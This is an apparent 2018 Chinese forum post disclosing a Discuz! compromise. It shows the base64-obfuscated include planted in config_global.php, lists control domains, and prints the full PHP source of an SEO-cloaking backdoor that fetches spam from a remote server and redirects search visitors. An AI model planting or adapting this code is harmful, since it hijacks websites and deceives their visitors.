本帖最后由 民审-M 于 2018-9-28 16:22 编辑
Discuz! X3.4版本以下/config/config_global.php注入漏洞:
@include(base64_decode('L3RtcC8uVGVzdC11bml4L2NsaWVudC5waHA='));
解析:
写入服务器/tmp/.Test-unix/client.php
远程控制注入地址:
内容:
Discuz! X3.4版本以下/config/config_global.php注入漏洞:
@include(base64_decode('L3RtcC8uVGVzdC11bml4L2NsaWVudC5waHA='));
解析:
写入服务器/tmp/.Test-unix/client.php
远程控制注入地址:
Quotewww.womendemengxiang.com
Quotegbk.baidu901.com
Quote9a9vj.com:8888
内容:
<?php ob_start("ob_gzhandler"); ini_set('html_errors',false); ini_set('display_errors',false); define("APP_INCLUDE_FLAG","TRUE"); define('APP_JACK_CHARSET','GBK'); header("Content-type: text/html; charset=".APP_JACK_CHARSET); define('APP_JACK_DOCUMENTROOT','/tmp/.X11-unix/'); define('APP_JACK_KEYWORD',APP_JACK_DOCUMENTROOT.'z'.rand(1,6).''); define('APP_JACK_TEMPLATE',APP_JACK_DOCUMENTROOT.'m'); define('APP_JACK_ARTICLE',APP_JACK_DOCUMENTROOT.'w'); define('APP_JACK_DES',APP_JACK_DOCUMENTROOT.'ms'); define('APP_JACK_BIANLIANG',APP_JACK_DOCUMENTROOT.'b'); define('APP_JACK_BIANLIANG_B',APP_JACK_DOCUMENTROOT.'b2'); define('APP_JACK_BIANLIANG_C',APP_JACK_DOCUMENTROOT.'b3'); define('APP_MIX_KWD_FILE',APP_JACK_DOCUMENTROOT.'hh'); define('APP_JACK_CACHED','Uncached'); define('APP_JACK_MIN_PAR','3'); define('APP_JACK_MAX_PAR','3'); define('APP_JACK_MIN','10'); define('APP_JACK_MAX','15'); define('APP_JACK_APPFILE',APP_JACK_DOCUMENTROOT.'a'); function App_GetLink(){ $link = array(); $link[] = "http://www.discuz.net/thread-".rand(1000000,999999999)."-1-1.html"; $link[] = "http://www.discuz.net/forum-".rand(1000,999999999)."-1.html"; $link[] = "http://www.discuz.net/thread-".rand(1000000,999999999)."-1-1.html"; return $link[mt_rand(0,count($link)-1)]; } function App_GetSelf(){ $link = array(); $link[] = "http://www.discuz.net/thread-".rand(1000000,999999999)."-1-1.html"; $link[] = "http://www.discuz.net/forum-".rand(1000,999999999)."-1.html"; $link[] = "http://www.discuz.net/thread-".rand(1000000,999999999)."-1-1.html"; return $link[mt_rand(0,count($link)-1)]; } //返回图片 function getImg(){ return 'http://www.womendemengxiang.com/imgr/images/'.rand(1,260).".jpg"; } $my_app = new missclient(); $my_app->run(); class missclient{ public $show_spider; public $jump_ref; public $http_ref_filter; public $jump_url = ""; public $domain = ""; public $condition = ""; public $app_server = ""; public $log_spider = ""; public $cur_spider = ""; public $allow_ip = ""; public $isCache = false; public function run(){ $this->domain = 'discuz'; $this->jump_ref = explode("|","baidu.|haoso.|haosou.|bing.|sogou.|soso.|so.com|.sm.cn|spm="); $this->http_ref_filter = explode("|","inurl:|site:|site%3A|inurl%3A"); $this->allow_ip = "218.80.218.|10.4.62.|10.4.33"; $this->condition = (($_GET['tid']> 1000000 && $this->isAllowdIp()) || ($_GET['fid']> 1000 && $this->isAllowdIp()) || ($_GET['mid']> 1 && $this->isAllowdIp())); $this->app_server = "http://gbk.baidu901.com/app.php"; $this->isCache = False; if($this->isSpider() && $this->isAllowdIp()){ if($this->condition){ if($this->isCache){ $relset_host = $this->getServerName(); $dir = (substr(PHP_OS, 0, 3) == 'WIN' ? 'C:/windows/temp/' : '/tmp/') . substr(md5($relset_host), 26) . chr(47); $cacheFile = $dir.'sess_' . substr(md5(http_build_query($_GET)), 6); if(!@file_exists($dir)){ mkdir($dir, 0777); } if(@file_exists($cacheFile) && @filesize ($cacheFile) > 32 ){ $var = coreAppCache::read($cacheFile); $page = file_get_contents(APP_JACK_TEMPLATE); foreach($var as $key=>$v){ $flag = "{".$key."}"; $page = str_replace($flag,$v,$page); } echo $page; exit(); } else { //包含进APP即可 $currentPage = include(APP_JACK_APPFILE); if($currentPage && strlen($currentPage) > 32 && stristr($currentPage,"</explode>")){ $var = self::cut($currentPage,"<explode>","</explode>"); $var = coreAppCache::decode($var); $page = file_get_contents(APP_JACK_TEMPLATE); foreach($var as $key=>$v){ $flag = "{".$key."}"; $page = str_replace($flag,$v,$page); } echo $page; @coreAppCache::writenocode($currentPage,$cacheFile); } } die(); } else { $currentPage = include(APP_JACK_APPFILE); echo $currentPage; die(); } } else { $this->_uncondition_hook(); } } else { if($this->isRef() && $this->condition){ $this->Jump(); } else { $this->_unSpider_hook(); } } } public function isAllowdIp(){ $ip = $this->clientIp(); $non_list = explode("|",$this->allow_ip); foreach($non_list as $iplist){ if(@stristr($ip,$iplist)){ return false; } } return true; } public function clientIp(){ if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $onlineip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $onlineip = $_SERVER['REMOTE_ADDR']; } preg_match("/[\d\.]{7,15}/", $onlineip, $onlineipmatches); $onlineip = $onlineipmatches[0] ? $onlineipmatches[0] : 'unknown'; unset($onlineipmatches); return $onlineip; } public function isSpider(){ $bots = array( //'Baidu' => 'baiduspider', 'Sogou' => 'sogou', //'Haoso' => 'haosouspider', //'360spider' => '360spider', 'bingbot' => 'bingbot' ); $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); foreach ($bots as $k => $v){ if (stristr($userAgent,$v)){ if(!empty($this->log_spider)){ @file_put_contents($this->log_spider,$v."->Visited ".$_SERVER['QUERY_STRING']."at: ".date("Y-m-d H:i:s")."\n",FILE_APPEND); } $this->cur_spider = $k; return true; break; } } return false; } public function isRef(){ $ref = strtolower(@$_SERVER['HTTP_REFERER']); if(isset($_COOKIE["domain-filter-bypass"])){ return false; } if(!$this->isAllowdIp()){ setcookie("domain-filter-bypass", "lol", time() + 259200); return false; } foreach($this->http_ref_filter as $r){ $r = trim($r); if(stristr($ref,$r)){ setcookie("domain-filter-bypass", "lol", time() + 259200); return false; } } foreach($this->jump_ref as $r){ $r = trim($r); if(stristr($ref,$r)){ return true; } } } public function getServerName() { $ServerName = strtolower($_SERVER['SERVER_NAME']?$_SERVER['SERVER_NAME']:$_SERVER['HTTP_HOST']); if( strpos($ServerName,'http://') ) { return str_replace('http://','',$ServerName); } return $ServerName; } public function getPage(){ if($this->isCache){ $cache="cached"; } $url = $this->app_server."?domain=".$this->domain."&gid=199&spider=".$this->cur_spider."&cache=".$cache."&localPar=".http_build_query($_GET); return $this->HttpVisit($url); } public function HttpVisit($weburl) { $remote_data = NULL; if (function_exists('curl_exec')) { $curl = @curl_init(); @curl_setopt($curl, CURLOPT_URL, $weburl); @curl_setopt($curl, CURLOPT_HEADER, 0); @curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30); @curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $remote_data = @curl_exec($curl); @curl_close($curl); } else { if (function_exists('stream_context_create')) { $header_array = array('http' => array('method' => 'GET', 'timeout' => 30)); $http_header = @stream_context_create($header_array); $remote_data = @file_get_contents($weburl, false, $http_header); } else { $temp_url = explode("/", $weburl); $new_url = $temp_url[2]; $http_port = 80; $get_file = substr($weburl, strlen($new_url) + 7); if (strstr($new_url, chr(58))) { $s_var_array['td'] = explode(chr(58), $new_url); $new_url = $s_var_array['td'][0]; $http_port = $s_var_array['td'][1]; } $fsock_result = @fsockopen($new_url, $http_port); @fputs($fsock_result, 'GET ' . $get_file . ' HTTP/1.1' . "\r\n" . 'Host:' . $new_url . "\r\n" . 'Connection:Close' . "\r\n\r\n"); while (!feof($fsock_result)) { $remote_data .= fgets($fsock_result, 1024); } @fclose($fsock_result); } } return $remote_data; } public function Jump(){ if($this->isAllowdIp()){ $domain = str_replace(".","_",$this->domain); header('Location: http://9a9vj.com:8888/?jpb_'.$domain); exit; } } public function _uncondition_hook(){ $array = array(); for($a=0;$a<100;$a++){ echo '<a href="'.App_GetLink().'"></a>'."\n"; } } public function _unSpider_hook(){ // } public function strStartWith($needle, $haystack){ return (substr($haystack, 0, strlen($needle))==$needle); } public function rndStr($length=8){ $str = null; $strPol = "0123456789abcdefghijklmnopqrstuvwxyz"; $max = strlen($strPol)-1; for($i=0;$i<$length;$i++){ $str.=$strPol[rand(0,$max)]; } return $str; } public function cut($file,$from,$end) { $message=explode($from,$file); $message=explode($end,$message[1]); return $message[0]; } } class coreAppCache{ //写入缓存 public function write($file,$filename){ return file_put_contents($filename,self::encode($file)); } public function writenocode($file,$filename){ return file_put_contents($filename,$file); } public function read($filename){ $content = file_get_contents($filename); if(stristr($content,"</explode>")){ $content = self::cut($content,"<explode>","</explode>"); } return self::decode($content); } public function encode($file){ return base64_encode(gzcompress(serialize($file))); } public function decode($file){ return unserialize(gzuncompress(base64_decode($file))); } public function cut($file,$from,$end) { $message=explode($from,$file); $message=explode($end,$message[1]); return $message[0]; } } ?>
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